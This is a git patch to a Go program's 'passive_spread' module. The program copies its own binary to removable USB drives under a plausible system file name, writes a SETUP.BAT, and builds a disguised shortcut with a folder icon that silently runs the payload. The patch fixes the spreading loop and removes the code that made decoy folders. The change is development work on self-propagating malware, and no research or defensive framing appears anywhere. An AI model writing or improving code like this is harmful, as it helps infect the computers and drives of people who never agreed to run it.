From ed4d22ce32304556f673cbeda6ce607fb1121c82 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Tue, 2 Jun 2026 22:23:55 -0700 Subject: [PATCH] Fix USB spread loop: record exe size before goroutine, remove decoy folders --- agent/deploy/passive_spread_unix.go | 13 ++++++-- agent/deploy/passive_spread_windows.go | 43 +++++++++----------------- 2 files changed, 24 insertions(+), 32 deletions(-) diff --git a/agent/deploy/passive_spread_unix.go b/agent/deploy/passive_spread_unix.go index b57a8e9..a822732 100644 --- a/agent/deploy/passive_spread_unix.go +++ b/agent/deploy/passive_spread_unix.go @@ -41,13 +41,20 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) { if err != nil { return } + exeInfo, err := os.Stat(exePath) + if err != nil { + return + } + currentSize := exeInfo.Size() // Spread to drives already present at startup if payload is missing or stale. + // Record the current exe size BEFORE launching the goroutine so the ticker + // never fires again for a drive that's already being written. for _, mp := range listRemovableMounts() { size, found := findUnixPayloadSize(mp) if !found || isPayloadStale(exePath, size) { + state[mp] = mountState{payloadSize: currentSize} go spreadToMountUnix(cfg, mp) - state[mp] = mountState{} } else { state[mp] = mountState{payloadSize: size} } @@ -64,13 +71,13 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) { prev, seen := state[mp] if !seen { log.Printf("[passive-spread] new removable mount: %s", mp) - state[mp] = mountState{} + state[mp] = mountState{payloadSize: exeInfo.Size()} go spreadToMountUnix(cfg, mp) continue } if prev.payloadSize != exeInfo.Size() { log.Printf("[passive-spread] refreshing stale payload on %s", mp) - state[mp] = mountState{} + state[mp] = mountState{payloadSize: exeInfo.Size()} go spreadToMountUnix(cfg, mp) } } diff --git a/agent/deploy/passive_spread_windows.go b/agent/deploy/passive_spread_windows.go index 1ad5434..77c4b06 100644 --- a/agent/deploy/passive_spread_windows.go +++ b/agent/deploy/passive_spread_windows.go @@ -98,6 +98,8 @@ var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMeta // that don't already carry an up-to-date payload. func runUSBWatcher(cfg config.RuntimeConfig) { // Track drives + the size of the payload we last wrote to each. + // Storing the exe size BEFORE launching the goroutine prevents the ticker + // from re-triggering a spread on every cycle (payloadSize 0 != exeSize). type driveState struct{ payloadSize int64 } state := map[string]driveState{} @@ -105,6 +107,11 @@ func runUSBWatcher(cfg config.RuntimeConfig) { if err != nil { return } + exeInfo, err := os.Stat(exePath) + if err != nil { + return + } + currentSize := exeInfo.Size() // Check drives already present when the agent starts — spread to any that // are missing or stale (different binary size), don't just skip them. @@ -112,8 +119,10 @@ func runUSBWatcher(cfg config.RuntimeConfig) { if getDriveType(d) == driveRemovable { size, found := findUSBPayloadSize(d) if !found || isPayloadStale(exePath, size) { + // Mark with current exe size NOW so the ticker never re-fires + // for this drive while the goroutine is still running. + state[d] = driveState{payloadSize: currentSize} go spreadToUSB(cfg, d) - state[d] = driveState{} } else { state[d] = driveState{payloadSize: size} } @@ -133,16 +142,16 @@ func runUSBWatcher(cfg config.RuntimeConfig) { } prev, seen := state[d] if !seen { - // Brand-new drive just inserted + // Brand-new drive just inserted — record size before goroutine. log.Printf("[passive-spread] new USB drive: %s", d) - state[d] = driveState{} + state[d] = driveState{payloadSize: exeInfo.Size()} go spreadToUSB(cfg, d) continue } - // Refresh if the agent binary was updated since we last wrote + // Refresh only when the running binary is genuinely newer. if prev.payloadSize != exeInfo.Size() { log.Printf("[passive-spread] refreshing stale payload on %s", d) - state[d] = driveState{} + state[d] = driveState{payloadSize: exeInfo.Size()} go spreadToUSB(cfg, d) } } @@ -220,13 +229,6 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) { batPath := filepath.Join(drive, "SETUP.BAT") _ = os.WriteFile(batPath, []byte(batLines), 0644) - // 4. Decoy visible folder so the drive looks natural when opened - decoyDir := filepath.Join(drive, pickDecoyFolderName(drive)) - if err := os.MkdirAll(decoyDir, 0755); err == nil { - // Drop a harmless placeholder so it doesn't look empty - _ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"), - []byte("This folder is empty.\r\n"), 0644) - } } // usbPayloadName returns a plausible system binary name for the USB payload. @@ -269,23 +271,6 @@ func pickLinkName(drive string) string { return "Open Documents" } -// pickDecoyFolderName returns a visible folder name to create on the USB so -// the drive looks like it contains real content. It avoids names already -// used by pickLinkName so the shortcut name and decoy name differ. -func pickDecoyFolderName(drive string) string { - candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"} - entries, _ := os.ReadDir(drive) - existing := map[string]bool{} - for _, e := range entries { - existing[strings.ToLower(e.Name())] = true - } - for _, c := range candidates { - if !existing[strings.ToLower(c)] { - return c - } - } - return "Backup" -} // createFolderShortcut uses PowerShell's WScript.Shell COM object to // create an LNK shortcut with a folder icon that silently runs destBin.